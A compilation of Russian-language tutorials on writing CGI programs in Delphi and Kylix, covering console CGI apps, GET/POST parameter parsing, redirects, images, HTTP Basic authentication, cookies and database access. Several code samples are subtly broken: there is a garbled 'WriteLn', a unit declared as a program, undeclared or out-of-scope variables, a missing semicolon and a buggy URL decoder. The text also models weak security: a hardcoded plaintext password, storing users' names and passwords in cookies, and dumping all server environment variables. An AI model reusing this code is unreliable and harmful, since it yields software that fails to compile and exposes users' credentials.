Необходимо отметить, что CGI-приложения разрабатываемые в средах разработки ориентированных на Win32 системы, в том числе и в Дельфи, а вернее серверная часть такого приложения может работать только под Win32 сервером, например IIS из NT или Personal Web Server из Windows98. Что касается клиентской части, то здесь никаких проблем совместимости не должно быть в принципе, т.к. клиентская часть представляет собой сгенерированный HTML код, который поддерживается любым браузером, не важно какую платформу использует пользователь, будь то Win32, OS/2, Unix и др.
Таким образом, программисту пишушему CGI-приложения придется столкнуться с двумя основными задачами - это разработка веб-интерфейса и разработка непосредственно математической части приложения.
Что касается веб-интерфейсов, то здесь желательно знать хотя бы основы языка HTML. Здесь мы не будем уделять этому особое внимание, хотя знание HTML для программиста CGI-приложений очень желательно. Сейчас же для нас будет вполне достаточным знание таких основопологающих тэгов как <HTML>,<BODY> и конструкции <FORM>.
Ну а теперь будем разбираться непосредственно с телом CGI-приложения. Во-первых, что такое CGI-приложение разрабатываемое в Win32 среде разработки? Это приложение типа Win32 CONSOLE, т.е. консольное приложение Win32. Только вот для такого приложения в отличии от классической Win32 консоли стандартным устройством ввода является либо поля ввода HTML формы либо строка адреса браузера, а в качестве стандартного устройства вывода используется окно браузера. Активизация приложения происходит непосредственно из какой-либо HTML странички, например так <A HREF="http://myhost/myapp.exe">My Application</A> Как мы уже выяснили такое CGI-приложение будет представлять собой исполняемую Win32 программу (exe), таким веб-приложениям принято давать расширение CGI, хотя это и непринципиально.
Для начала рассмотрим пример самой простой CGI-программки выдающей в окно пользовательского браузера текст "HELLO WORLD".

program MyApp
{$APPTYPE CONSOLE}   // тип приложения Win32 консоль
{$E cgi}      // Расширение приложения cgi
begin
  WriteLn('Content-Type: text/html');
  WriteLn;
  WriteLn;
  WriteLn('<HTML>');
  WriteLn('<HEAD>');
  WriteLn('<TITLE>Простейшее CGI приложение</TITLE>');
  WriteLn('<META http-equiv="Content-Type" content="text/html;' +
                                ' charset=windows-1251">');
  WriteLn('</HEAD>');
  WriteLn('<BODY>');
  WrОтiteLn('<H1>HELLO WORLD</H1>');
  WriteLn('</BODY>');
  WriteLn('</HTML>');
end.

Откомпиллируйте этот исходный код в среде Дельфи, поместите скомпонованный исполняемый код в ваш CGI-BIN каталог ( в каталог, где разрешено исполнение скриптов), напишите небольшую веб страничку для активизации нашего CGI-приложения, например, такую:

<HTML>
<HEAD>
<TITLE>Форма для активизации CGI-приложения</TITLE>
</HEAD>
<BODY>
<A HREF="http://localhost/cgi-bin/myapp.cgi">
Нажми сюда для запуска приложения</A>
</BODY>
</HTML>

Теперь откройте нашу веб-страничку и перейдите по ссылке "Нажми сюда для запуска приложения". Если вы все сделали правильно, то на экране в окне вашего любимого браузера появиться текст "HELLO WORLD".
Как видите все достаточно просто! Однако, для полноценной работы приложения, оно должно уметь не только выводить некие данные, но получать данные от пользователя, т.е. обеспечивать ввод информации. Ввод данных в случае CGI-приложения, как мы уже говорили, будет осуществляться по средствам интерфейса организованного веб-формой. Такая форма может передавать данные двумя способами, в зависимости от значения атрибута "METHOD".
В случае <FORM METHOD="GET" ...>... данные передаются через строку адреса браузера и записываются в переменную системного окружения QUERY_STRING, а размер строки данных в переменную CONTENT_LENGTH.
В случае <FORM METHOD="POST" ...>... передаваемые данные в строке адреса не отображаются, передаются через стандартный поток ввода консольной программы.
Таким образом задача получения данных CGI-приложением сводится к чтению определенной переменной окружения. Надо отметить, что передаваемые веб-формой данные имеют следующий формат: <имя_атрибута1>=<значение_атрибута1>&<имя_атрибута2>=<значение_атрибута2>...
Задача программиста сводится к извлечению значений нужных атрибутов из полученной от браузера строки и преобразования этих значений из вида URLencoded в обычные текстовые данные. Суть URLencoded формата заключается в том, что некоторые символы, содержащиеся в значении поля, заменяются на % и следующим за ним шестнадцатиричным кодом символа, а пробел заменяется на +.
А сейчас давайте рассмотрим пример CGI приложения, которое бы производило подобие некоторой идентификации пользователя системы.

<!-- HTML форма ввода пароля -->
<HTML>
<HEAD>
<TITLE>Авторизация доступа</TITLE>
</HEAD>
<BODY>
<FORM method="POST" action="http://localhost/cgi-bin/chkpaswd.cgi">
  Введите пароль:
  <input type="text" name="paswd" size=20>
  <input type="submit" value="Найти">
  <input type="reset" value="Очистить">
</FORM>
</BODY>
</HTML>

Далее идет пример непосредственно CGI приложения. Следует отметить, что приведенный в этом примере способ получения данных от веб формы (непосредственное чтение устройства стандартного ввода STD_INPUT) является наиболее наглядным, но не самым удобным, в Дельфи предусмотренны более удобные механизмы, которых мы каснемся позже.

{Файл проекта CGIApp2}
program CGIApp2;

{$APPTYPE CONSOLE}

uses
  MainUn in 'MAinUn.pas';

{$E cgi}

begin
  Main;
end.

program MainUn;
interface
uses
  SysUtils, Windows, Classes;

implementation

// Функция перевода шестнадцетиричного символа в число
function HexToInt(CH : char): integer;
begin
  Result:=0;
  case CH of
    '0'..'9': Result:=Ord(CH)-Ord('0');
    'A'..'F': Result:=Ord(CH)-Ord('A')+10;
    'a'..'f': Result:=Ord(CH)-Ord('a')+10;
  end;
end;

// Преобразует символы, записанные в виде URLencoded
function Decode(Value: string): string;
var
  i, L: integer;
begin
  Result:='';
  L:=0;
  for i := 1 to Length(Value) do
  begin
    if(Value[i] <> '%') and (Value[i] <> '+') and (L<1) then
    begin
      Result := Result + Value[i];
    end
    else
    begin
      if(Value[i] = '+') then
        Result := Result + ' '
      else if(Value[i] = '%') then
      begin
        L := 2;
        if(i < Length(Value) - 1) then
        begin
          Result := Result + Chr(HexToInt(Value[i+1]) * 16 +
               HexToInt(Value[i+2]));
        end;
      end
      else
        Dec(L);
    end;
  end;
end;

// Фнкция возвращает значение атрибута заданного
//в качестве параметра функции из строки данных
//считанной из устройства стандартого ввода.

function ParamByName(Name: string): string;
var
  SS, ST : string;
  K : integer;
begin

  Result := '';
  SS := InParams;

  while Length(SS) <> 0 do
   begin
    K := Pos('&',SS);
    if (K <> 0) then
    begin
      ST := Copy(SS,1,K-1);
      SS := Copy(SS,K+1,10000);
    end
     else
     begin
      ST :=SS;
      SS:='';
    end;
    K := Pos('=',ST);
    if(K <> 0) then
    begin
      if(Name = Copy(ST,1,K-1)) then
      begin
        Result := Decode(Copy(ST,K+1,6000));
      end;
    end;
  end;
end;

procedure Main;
var
  STR : string;
  StdIn, Size, Actual : cardinal;
  InParams : string;
const
  UserPassword : String = 'MyPass';
begin
  StdIn := GetStdHandle(STD_INPUT_HANDLE);
  Size := SetFilePointer(StdIn, 0, nil, FILE_END);
  SetFilePointer(StdIn, 0, nil, FILE_BEGIN);
  SetLength(STR,Size+1);
  if (Size <= 0) then
    Exit;
  // Читаем данные из стандартного устройства ввода
  ReadFile(StdIn, STR[1], Size, Actual, nil);
  STR[Size+1] := #0;
  InParams := PChar(@STR[1]);

  APasswd := ParamByName('paswd');

  WriteLn('Content-Type: text/html');
  WriteLn;
  WriteLn;
  WriteLn('<HTML>');
  WriteLn('<HEAD>');
  WriteLn('<TITLE>Идентификация пользователя</TITLE>');
  WriteLn('<META http-equiv="Content-Type" content="text/html;'+
               ' charset=windows-1251">');
  WriteLn('</HEAD>');
  WriteLn('<BODY>');
  if APasswd = UserPassword then
    WriteLn('<H1>Успешная идентификация!</H1>')
  else
    WriteLn('<H1>Пароль введен неверно!</H1>')
  WriteLn('</BODY>');
  WriteLn('</HTML>');

end;

Ну, вот пока что все. Но это совсем не значит, что мы полностью охватили всё, что касается разработки CGI приложений на Дельфи. В самое ближайшее время я обязательно продолжу это повествование, ведь впереди еще столько интересной и полезной информации. Так что, до скорого!
Взято из http://forum.sources.ru


Программирование CGI в Delphi и Kylix (статья)

Автор: Paul TOTH
Перевод с французского: Valery Votintsev
Взято из http://forum.sources.ru

Содержание:
· Введение
· Передача параметров
· Переадресация
· Вывод изображений
· Защита паролем
· Куки (Cookies)
· Работа с Базами Данных
· Частые Вопросы и Ответы

Введение
В настоящем руководстве объясняется, как программировать CGI на Delphi и Kylix.
Автор будет рад Вашим замечаниям и пожеланиям!
Уточнения:
Для работы с CGI вам потребуется Web-сервер (для Delphi - под Windows, а для Kylix - под Linux)...
Автор тестировал свои программы на сервере Lotus Domino под NT, и на сервере Apache под Mandrake 7.0 (linux).
Автор использовал Delphi 2.0, однако это руководство применимо и для Delphi 3,4,5, 6... и Kylix !
Примечание:
Если вы планируете использовать ISAPI/NSAPI DLL, то лучше будет программировать на Delphi 5/6; однако настоящее руководство остается весьма полезным, если Вы желаете разобраться в том, как функционирует CGI.

Основные понятия
Ссылки на CGI-программу:
На HTML-странице (или непосредственно в строке URL браузера) вы помещаете ссылку на вашу программу. Вот несколько примеров ссылок:
Простая ссылка: <a href="/cgi-bin/program.exe">
Запрос вывода изображения: <img src="/cgi-bin/program.exe">
Форма с запросом типа GET: <form method=GET action="/cgi-bin/program.exe"> ... </form>
Форма с запросом типа POST: <form method=POST action="/cgi-bin/program.exe"> ... </form>
Прямое обращение по URL: http://www.tonserver.fr/cgi-bin/program.exe
Что такое cgi-bin:
cgi-bin - это псевдоним каталога на сервере, который указывает на реальный каталог, в котором размещены все CGI программы.
Например:
Под Windows: c:\internet\delphi\cgi
Под Linux: /home/httpd/cgi-bin
Запуск CGI-программ:
Когда пользователь кликает на ссылке, указывающей на CGI-программу, сервер запускает данную программу и ожидает от нее ответа.
Ответ CGI-программы:
Самым простым вариантом CGI программы может служить консольное приложение {$apptype console}, которое похоже на DOS-программу, однако работает под Windows 95/NT, или под Linux.
Эта возможность позволяет тестировать CGI-программу локально, выводя результат работу на экран.

Пример простейшей CGI-программы:

Program ExampleCGI;

{$apptype console}

begin
 WriteLn('Content-type: text/html');
 WriteLn;
 WriteLn('Всем привет !');
end.

Разберем строки, выводимые программой:

1) WriteLn('Content-type: text/html'); - Content-type - это описание типа выводимых данных (в данном случае - текста HTML)
2) WriteLn; - Вывод пустой строки ОБЯЗАТЕЛЕН, для того, чтобы отделить "заголовок" документа от выводимого далее содержимого этого документа.
3) WriteLn('Всем привет !'); - Здесь выводится собственно тело документа, т.е. то, что мы увидим, если нажмем в браузере "Файл - Просмотр в виде HTML"

Для обращения к программе в строке адреса в браузере необходимо набрать:

http://ваш_сервер/cgi-bin/ExampleCGI

Использование Writeln:

Все, что выводится командой WRITELN, направляется в "устройство стандартного вывода" STDOUT и отправляется сервером в браузер пользователя.

Интересно, что под Windows можно написать CGI-программу даже с помощью .BAT-файла!

@ECHO OFF
ECHO content-type: text/html
ECHO.
ECHO ^<HTML^>^<HEAD^>^<TITLE^>^</TITLE^>^</HEAD^>^<BODY^>
ECHO Всем привет !
ECHO ^</BODY^>^</HTML^>

Обратите внимание, что специальные символы, используемые в DOS (такие, как "<", ">", "&",...), необходимо предварять знаком "^".

Не забывайте об этом при написании CGI с .BAT файлами...


Передача параметров

Передача параметров
Методы GET и POST
Существует по крайней мере два метода передачи параметров CGI-программе.
<form method=GET action="program.exe">
<form method=POST action="program.exe">
Чтобы определить, каким именно методом CGI-программе переданы параметры, достаточно в вашей программе проверить переменную среды REQUEST_METHOD.

Ниже привдена функция, с помощью которой можно получить значение переменной среды окружения:

function getvar(varname:string):string;
{$IFDEF LINUX}
 begin
  result:=getenv(PChar(varname));
 end;
{$ELSE}
 var
  buffer:array[0..1024] of char;
  size:integer;
 begin
  size:=GetEnvironmentVariable(PChar(varname),buffer,sizeof(buffer));
  if size=0 then getvar:='' else getvar:=String(buffer);
 end;
{$ENDIF}

Автор предпочитает работать не с массивами, а со строками, поэтому результат функции преобразовывается в строку...

Теперь посмотрим, как определить значение переменной среды под DOS в .BAT файле:

@ECHO OFF
ECHO content-type: text/html
ECHO.
ECHO ^<HTML^>^<HEAD^>^<TITLE^>^</TITLE^>^</HEAD^>^<BODY^>
ECHO REQUEST_METHOD=%REQUEST_METHOD%
ECHO ^</BODY^>^</HTML^>

Обратите внимание, что специальные символы, используемые в DOS (такие, как "<", ">", "&",...), необходимо предварять знаком "^".

Таким образом, если мы обратимся к функции в виде GetVar('REQUEST_METHOD'), то получим в виде строки метод, которым были переданы параметры: 'GET' или 'POST'.

Согласно Спецификации CGI, параметры могут быть прочитаны:
· Из переменной окружения QUERY_STRING для метода GET
· Из стандартного ввода (STDIN) с помощью процедуры ReadLn для метода POST

Метод POST используется в тех случаях, когда необходимо передать большое количество параметров или большой объем данных. При использовании же метода GET для хранения всех передаваемых параметров используется переменная среды окружения, а она, как вы понимаете, не резиновая, так что ее максимального размера в некоторых случаях может не хватить...

Метод GET и переменная QUERY_STRING
Переменная среды окружения QUERY_STRING содержит список имен и значений параметров, переданных из формы... Но сначала рассмотри код HTML:

<form method="GET" action="program.exe">
<input type=text name="toto" value="titi">
<input type=submit value="GO">
</form>

Кликнув на "GO" (здесь кликать не надо, это просто пример!), вы запускаете на сервере программу "program.exe" передавая серверу запрос в виде:
http://www.ваш_сервер/cgi-bin/program.exe?toto=titi

Вы видите, что сразу за именем программы следует знак вопроса и передаваемый в программу параметр. В переменную QUERY_STRING как раз и будет помещено все, что находится после символа "?". Заметим, что точно так же можно задать параметры и в обычной ссылке:
<a href="http://www.ваш_сервер/cgi-bin/program.exe?toto=titi">...</a>

И последнее уточнение: если запрос содержит несколько параметров, то они отделяются друг от друга амперсандом &. Кроме того, некоторые символы в значениях параметров (например, "&") должны быть представлены в шестнадцатеричной форме %hh, где "hh" - шестнадцатеричный код символа в таблице ANSI. Например, символ амперсанда "&" должен быть представлен в виде "%26".

Представьте, что вам требуется на сайте yahoo.com найти результаты поиска по ключевым словам cgi и delphi, для чего в окне поиска вы вводите "cgi + delphi".
Тогда в результате вашего запроса будет сгенерирован следующий URL:
http://search.yahoo.com/bin/search?p=cgi+%2B+delphi
Тем самым, вы обратитесь к программе "search" и зададите значение параметра "p" равным "cgi + delphi", при этом символ "+" будет автоматически заменен браузером на "%2B", а пробелы - на "+".

Метод POST
Для получения данных, переданных по методу POST, необходимо читать данные из "устройства стандартного ввода" STDIN. Размер данных, переданных по этому методу, помещается сервером в переменную окружения CONTENT_LENGTH.
Посмотрим, как это выглядит в Delphi:

// Получение переданных параметров
  if getvar('REQUEST_METHOD')='POST' then begin
   parmstring:=getvar('CONTENT_LENGTH');
   if parmstring<>'' then begin
    size:=strtoint(parmstring);
    setlength(parmstring,size);
    for i:=1 to size do read(parmstring[i]);
   end;
  end else
   parmstring:=getvar('QUERY_STRING');

В заключение я предлагаю вашему вниманию маленькую CGI-программу, которая просто выводит то, что происходит на сервере:

program log;

{$apptype console}

// прикручивание к Linux попробуйте сделать сами :)

uses
  windows, sysutils;

var
 i:integer;
 s:string;
 p:pchar;

 flog:textfile;

begin
 assignfile(flog,'c:\temp\log.txt');
 rewrite(flog);

 WriteLn('Content-Type: text/html');
 WriteLn('');

 WriteLn('<html><head><title>Dump CGI</title></head><body>');
 WriteLn('<h1>Dump CGI:</h1>');
 WriteLn('<a href=#Parms>Параметры программы</a><br>');
 WriteLn('<a href=#Query>Параметры CGI</a><br>');
 WriteLn('<a href=#Env>Переменные окружения</a><br>');
 WriteLn('<a href=#Info>Дополнительная информация о CGI</a><br>');
 WriteLn('<hr>');

 WriteLn('<a name=Parms><h2>ParamCount=',IntToStr(ParamCount),'</h2><ul>');
 WriteLn(fLog,'ParamCount=',IntToStr(ParamCount));

  for i:=0 to ParamCount do begin
   WriteLn('<li>',ParamStr(i));
   WriteLn(fLog,'-',ParamStr(i));
  end;

 // Стандартный Ввод
 WriteLn(fLog,'Input :');
 WriteLn('<h2>StdInput:</h2><ul>');
 if Not Eof(Input) then begin
  Read(Input,s);
  WriteLn('<li>',s);
  WriteLn(fLog,s);
 end;

 Writeln(fLog,'QUERY_STRING=',ParmString);

 WriteLn('<a name=Env><h2>Переменные окружения:</h2><ul>');
 p:=GetEnvironmentStrings;
 while StrLen(p)<>0 do begin
  WriteLn('<li>',p);
  WriteLn(fLog,':',p);
  p:=strend(p);
  inc(p);
 end;
 WriteLn('</ul><hr>');

 WriteLn('<a name=Info><a href="http://www.multimania.com/tothpaul">');
 WriteLn('Дополнительная информация о CGI</a>');
 WriteLn('</body></html>');

end.

Примечание:
Кроме стандартного вывода информация параллельно выводится еще и в лог-файл.


Переадресация

Переадресация
Заголовок HTTP-ответа
Мы уже знаем, что CGI-программа отсылает серверу заголовок, не отображаемый браузером:
  WriteLn('Content-Type: text/html');
  WriteLn('');
Вид заголовка для переадресации
Следует отметить, что в заголовке может быть приведено множество других директив, в частности, CGI-программа может переадресовать запрос на другую страницу...
Для переадресации достаточно вывести заголовок в следующем виде:
  WriteLn('Location: redirection.htm');
  WriteLn('');
Кроме того, ваш сервер автоматически добавляет в этот заголовок еще и свои собственные сообщения.
Допустим, вы запрашиваете в браузере URL http://yahoo.com. В этом случае вы получите от сервера следующий ответ:
HTTP/1.0 302 Found
Location: http://www.yahoo.com
Получив такой заголовок, браузер перезапрашивает у сервера новый URL http://www.yahoo.com, и в ответ получает следующее:
  HTTP/1.0 200 OK
  Content-Length: 9332
  Expires: Wed, 18 Mar 1998 08:00:03 GMT
  Content-Type: text/html

  <html><head><title>Yahoo!</title>
  <base href="http://www.yahoo.com/"></head>
  <body><center>
  <form action="http://search.yahoo.com/bin/search">
  <a href="/bin/top3">
  <img width=460 height=59 border=0 usemap="#top3" ismap
    src="http://us.yimg.com/i/main32.gif" alt="Yahoo!"></a>
  <br>
  <table cellpadding=3 cellspacing=0>
    <tr>
      <td align=center nowrap>
  ...
Таким образом происходит просто переадресация на другую страницу!

И последнее замечание: вам не нужно заботиться самим о выводе строк типа "HTTP/1.0...", и "Content-Length: ...", поскольку это делает автоматически сам сервер.


Вывод изображений

Вывод изображений
Заголовок HTTP-ответа для HTML-страниц
Мы уже знаем, что для сообщения браузеру, что передаваемый документ является HTML-документом, CGI-программа выводит специальный заголовок, не отображаемый браузером:
WriteLn('Content-Type: text/html');
WriteLn('');
HTTP-заголовок для изображений
Точно таким же образом можно с успехом указать и другой тип данных! Например, для вывода изображения в формате GIF достаточно вывести следующее:
WriteLn('Content-Type: image/gif');
WriteLn('');
Таким образом мы сообщаем браузеру, что далее будет следовать именно изображение...
Передача двоичных данных
Для начала давайте разберемся, как отправить двоичные данные в STDOUTPUT.

Я написал две процедуры: первая выводит поток TSTREAM в STDOUTPUT, а вторая выводит двоичный файл в выходной поток:

// Процедура вывода потока в STDOUTPUT.
 // Попробуйте самостоятельно переделать ее для Kylix...
 procedure WriteStream(stream:TStream);
  var
   OutStream:THandleStream;
 begin
  Flush(output); // для передачи заголовка мы используем обычный WRITELN...
 // здесь используется код из программы
 // DCOUNTER for Delphi 3 by Dave Wedwick (dwedwick@bigfoot.com)
  OutputStream:=THandleStream.Create(GetStdHandle(STD_OUTPUT_HANDLE));
  Stream.SaveToStream(OutputStream);
  OutputStream.Free;
 end;

 // Процедура для передачи двоичного файла
 procedure WriteFile(FileName:string);
  var
   s:TFileStream;
 begin
  s:=TFileStream.Create(FileName,fmOpenRead);
  WriteStream(s);
 end;

Передача GIF файлов
Теперь нам осталось только создать (или взять готовый) GIF файл и вывести его!

 procedure WriteGIF(FileName:string);
 begin
   WriteLn('Content-type: image/gif');
   WriteLn;
   WriteFile(FileName);
 end;


Защита паролем

Защита паролем
Статус в HTTP-заголовке
В дополнение к строкам заголовка, которые формирует CGI-программа, сервер выводит дополнительную строку, в которой сообщает о статусе обработки полученного запроса. Например, если запрос обработан успешно, сервер выдает следующую строку в заголовке:
HTTP/1.0 200 OK
Запрос на авторизацию
Если вы попробуете запустить без изменений мой "web browser" (см. страницу delphi), то вы увидите, что полученный HTTP заголовок несколько отличается от обычного:
HTTP/1.0 401 Unauthorized
Content-type: text/html
WWW-Authenticate: Basic realm="/MyRealm"

<html><head><title>401 Unauthorized</title></head><body>
<h1>Для доступа к этой странице требуется пароль!</h1>
</body></html>
Здесь сервер отсылает предупреждение 401 Unauthorized для того, чтобы ваш браузер знал, что он обратился к защищенной странице. Тем самым, сервер предлагает вам ввести пароль и логин в строке уточнения (realm= "/MyRealm"). Если вы предоставите серверу действительный логин и пароль, то сервер откроет доступ к данной странице. В противном случае браузер будет получать вместо нужной страницы предупреждение с кодом 401.

Формируем запрос на авторизацию
Теперь мы знаем все, что нужно, чтобы наша CGI-программа могла запросить от пользователя пароль для доступа:
Program CheckPWD;
{$apptype console}
begin
WriteLn('HTTP/1.0 401 Unauthorized');
WriteLn('Content-type: text/html');
WriteLn('WWW-Authenticate: Basic realm="/Check"');
WriteLn;
WriteLn('Для доступа к этой странице требуется пароль!');
end;
... и, к нашему удивлению, убеждаемся, что такой вариант не работает! Мы получаем либо внутреннюю ошибку сервера, либо браузер выдает полученный текст как обычную страницу, не понимая, что от него требуют ввести пароль!
Спокойно, без паники! Так и должно быть. Я уже говорил, что сервер автоматически дополняет HTTP-заголовок своими сообщениями, и браузер после выполнения программы CheckPWD получит следующее:
HTTP/1.0 200 OK
HTTP/1.0 401 Unauthorized
Content-type: text/html
WWW-Authenticate: Basic realm="/MyRealm"

Для доступа к этой странице требуется пароль!
Первая строка в заголовке говорит о том, что запрос обработан успешно (спасибо серверу). Поэтому браузер и не требует ничего от пользвателя.
У меня есть несколько вариантов выхода из этой ситуации, и один из вариантов заключается в том, что в соответствии с требованиями CGI, имя файла CGI-программы должно начинаться с "nph-", если она сама должна полностью формировать HTTP-заголовок.

Таким образом, достаточно переименовать вышеприведенную программу в "NPH-CHECKPWD.EXE", и все заработает!

Итак, мы добились, чтобы наша CGI-программа заставляла браузер потребовать от пользователя предоставить информацию об авторизации!

WWW-Authenticate
Получив запрос на авторизацию, браузер выводит на экран диалог для ввода пользователем логина и пароля и отправляет их на сервер в виде строки WWW-Authenticate: Basic realm="/MyRealm".
В результате, CGI-программа получит от сервера строку авторизации в виде значения переменной среды окружения HTTP_AUTHORIZATION.
HTTP_AUTHORIZATION=Basic dXNlcjpwYXNzd29yZA==
В этой строке как раз и записан введенный логин и пароль, но только не в открытом, а в закодированном виде... Для кодировки строки авторизации используется формат Base64.

Сделаем небольшое отступление об основаниях систем счисления (как всегда - математика рулит!):
· Люди привыкли считать по основанию 10 (т.е. в 10-чной системе счисления): 0..9
· В информатике часто используется 16-ричное представление: 0..9,'A'..'F'
· В интернет очень широко используется представление в системе счисления с основанием 64: 0..9,'A'..'Z','a'..'z','+','/'

В файле LOGIN.ZIP вы найдете пример использования модуля Base64, который осуществляет кодирование и декодирование строк по основанию 64.

Кстати, вышеприведенный текст расшифровывается с помощью Base64 очень просто: "user:password"

Итак, теперь мы можем написать CGI-программу, которая будет либо показывать запрошенную информацию, либо требовать от пользователя авторизации.
Еще одной альтернативой является переадресация на другую страницу, если авторизация не подтверждена.

Практической реализацией изложенных выше принципов является программа login.
Не забудьте переименовать файлы login.exe и login.ini из этого в nph-login.exe и npg-login.ini !

В завершение я предлагаю вашему вниманию программу "CGI Web Browser". Эта программа является консольным приложением Delphi, позволяющим просматривать диски и каталоги на сервере и загружать файлы. Для разрешения доступа к дискам сервера программа требует ввода логина и пароля. (Не забудьте поменять логин/пароль в исходном коде!)


Куки (Cookies)

Куки (Cookies)
Введение
Давайте вспомним, каким образом мы можем передавать CGI-программе параметры.
При использовании метода GET параметры передаются в строке URL.
При использовании метода POST параметры передаются отдельно и не видны пользователю.
(отметим также, что в Internet Explorer 3 есть ошибка, из-за которой он ТЕРЯЕТ параметры при нажатии кнопки "Обновить").
Таким образом, нам не хватает возможности хранить информацию о передаваемых параметрах.
Что такое Cookie ?
"Cookie" - это небольшая порция информации, которая сохраняется на компьютере пользователя и привязана к конкретному URL. Когда браузер обращается к данному URL, он передает на удаленный сервер этот блок информации. В результате на сервере будет сформирована строка окружения HTTP_COOKIE, в которой содержится список всех cookies, которые относятся к данному URL.

Перменная окружения HTTP_COOKIE будет содержать пары имен/значений параметров, разделенных символом ";" в следующем виде:
имя1=значение1;имя2=значение;...

Таким образом мы можем задавать сразу несколько параметров в одном cookie для данного URL.
Как создать Cookies ?
Давайте разберемся, как это делается! Для создания куков достаточно использовать HTTP-заголовок. Вспомним, каким образом задается тип передаваемого документа в заголовке:
Content-type: text/html
Точно таким же образом в заголовке задаются и cookie! Просто добавляем еще одну строку:
Content-type: text/html
Set-Cookie: Name=Value
Таким образом, к примеру, можно сохранить на компьютере пользователя его имя и пароль, необходимые для входа на защищенный сайт или защищенную страничку. Многие сайты запрашивают у пользователя имя и пароль, передают их по методу POST, и затем сохраняют на компьютере полдьзователя в виде cookie.

Пример использования Cookies
По просьбам читателей я сделал программу Cook, демонстрирующую, как использовать cookies для авторизации пользователя.
В архиве COOK.ZIP находится самая последняя версия моего модуля CGI и модуль Base64.


Работа с Базами Данных

Работа с Базами Данных
Как это делается ?
Доступ базам данных, разумеется, имеет отнощение не только к CGI... Но в этом контексте надо учитывать ряд особенностей.

Поскольку CGI-программа запускается и выполняется на сервере, то она ДОЛЖНА обязательно завершать свою работу (и чем быстрее - тем лучше) для того, чтобы сервер и браузер пользователя считали, что запрос завершен... При каждом новом обращении к CGI происходит новый произвольный запрос к базе данных.

В связи с этим, для получения удовлетворительного результата нам нужно максимально оптимизировать все операции с базой данных - открытие, обработку и корректное закрытие базы.

В качестве рабочего примера обработки базы данных из CGI я предлагаю программу ABook. Эта программа использует ODBC-драйвер для работы с базой данных MS Access. При каждом обращении программа открывает базу, обрабатывает запрос, и закрывает базу...

Хотя я и не тестировал эту программу на больших базах данных, но хочу заметить, что в любом случае открытие базы данных MS Access с помощью ODBC производится несравненно быстрее, чем при использовании BDE!

Для более серьезных применений несомненно лучше будет использовать "сервер баз данных", который постоянно крутится на сервере. В этом случае CGI-программа будет тратить время только на отправку запроса серверу, не заботясь об открытии и закрытии базы данных...

В качестве дальнейшего усовершенствования можно попытаться определять сессии (например, с помощью Cookies) для того, чтобы сохранять параметры между двумя запросами...


Частые Вопросы и Ответы

Частые Вопросы и Ответы
1) Настройка CGI для IIS
Запустите программу
Пуск/Программы/Microsoft Internet Server/Служба Управления
Кликните два раза на службе WWW, и выберите закладку "Каталоги":

Каталог Алиас Адрес Ошибка
C:\InetPub\wwwroot <базовый каталог>
C:\InetPub\scripts /Scripts
C:\WINNT\System32\inetsrv\iisadmin /iisadmin

Кликните на Добавить, укажите каталог, в котором будут содержаться CGI-программы (например C:\DELPHI).
Алиас виртуального каталога, обычно называемый "/cgi bin", заменяет права доступа для чтения на права доступа для "Выполнения".

Каталог Алиас Адрес Ошибка
C:\InetPub\wwwroot <базовый каталог>
c:\delphi /cgi-bin
C:\InetPub\scripts /Scripts
C:\WINNT\System32\inetsrv\iisadmin /iisadmin

Теперь нам достаточно поместить наши CGI-программы в каталог C:\DELPHI и обращаться к ним примерно так: http://ваш_сервер/cgi-bin/program.exe

Если ваша NT выдает ошибку прав доступа на конкретном документе, кликните на этом документе, и проверьте, разрешен ли доступ...

2) Как избавиться от запроса СОХРАНИТЬ/ВЫПОЛНИТЬ при клике на ссылку вида <a href="/cgi-bin/programm.exe"> ?
Для того, чтобы браузер не спрашивал у вас, надо ли сохранить или выполнить вашу CGI-программу, необходимо обязательно размещать выполняемые программы не где попало, а именно в том каталоге, который вы указали серверу в качестве каталога CGI...

Если вы установили web-сервер на локальный компьютер (localhost), то обращаться к нему нужно следующим образом:
http://127.0.0.1/cgi-bin/programm.exe


Создание Web-приложений

В. Ковалев / © mcsa.ru

Эпоха web-дизайна, когда наиважнейшим считалось возможность запихнуть на страницу как можно больше графики и поразить пользователя широтой фантазии дизайнера, канула в лету. В моде - информационный дизайн и всяческие удобности для пользователя. Плохим тоном уже считается одно только то, что на сайте нет форума или гостевой книги, и самое ужасное - о, боже - вы до сих пор верстаете каждую страницу вручную, вместо того, что бы поручить сеё скучное и утомительное занятие скрипту.

Время первопроходцев HTML в скором времени закончиться и вовсе, и их место займут профессионалы-программисты. Именно программисты, ибо уже в большей степени от их умения создать удобный в использование сайт зависит его успех. Кроме прочего, теперь сайты создают совсем уж как программные продукты: тем кто занят наполнением содержанием, уже может не опасаться запутаться в html, java, cgi и прочих ипостасях интернет-технологий - администрирование сайта становиться таким же привычным и удобным, как работа с текстовыми процессорами. Пока правда ощущается явный недостаток законченных продуктов, на плечи которых можно было бы возложить все функции по поддержанию сайта в актуальном состоянии, оставив себе лишь вопросы по наполнению его содержанием.

Пока же тяжкое бремя по созданию данных систем, на основе которых будет функционировать сайт, ложиться на плечи программистов, только вот-вот успевших изумится возможностями языка Perl или Java. И многие из них, сказать без преувеличения, вышли, словно из гоголевской "Шинели", из Delphi. Действительно, данная среда разработчика, предоставляющая удобный интерфейс для визуального программирования и широкие возможности Object Pascal, столь мила сердцу российских программистов.

Но, похоже, что времена меняются, и Delphi, из среды создания обычных настольных приложений, может сгодиться и в другом плане: для написания прикладных web-программ. И действительно, что может быть лучше: уже знакомая среда разработки, вдоль и поперек изученный язык, да и достаточно широкий круг специалистов по программированию в Delphi - это ли не плюсы создания web-приложений на Delphi. Есть конечно и минусы: созданные программы вряд ли смогут удовлетворить тех, кто считает, что лучший web-сервер, это сервер не от Microsoft. Но что поделаешь - версия Delphi под Unix отложена пока до лучших времен. Зато посудите сами: перенос программ в будущем светлом будущем можно будет совершить с малой кровью.

Но отложим пока теорию в сторону, и обратимся к практики. Итак, создания web-приложения в среде Delphi, что называется шаг за шагом.

Пример из учебника

В отличии от прочих аспектов создания приложений в Delphi, о создании приложений для web, написано мало. Так ужасающе мало, что из книги в книгу, из учебника в учебник путешествует один и тот же пример. Не будем оригинальничать и мы - чем проще, тем лучше.

Вообще, простейшее web-приложение на Delphi мало чем отличается, а точнее ничем не отличается от создания программы для старой доброй DOS. Это - простейшее консольное приложение, запускаемое на стороне сервера и взаимодействующие с пользователем (в случае необходимости) через броузер.

Создайте в Delphi новый проект - ту самую уже давно забытую всем Console Application. Вы получите знакомый со школьной скамьи, текст обычной паскалевской программы:

program primer;
{$APPTYPE CONSOLE}
uses SysUtils;

begin
// Insert user code here
end.
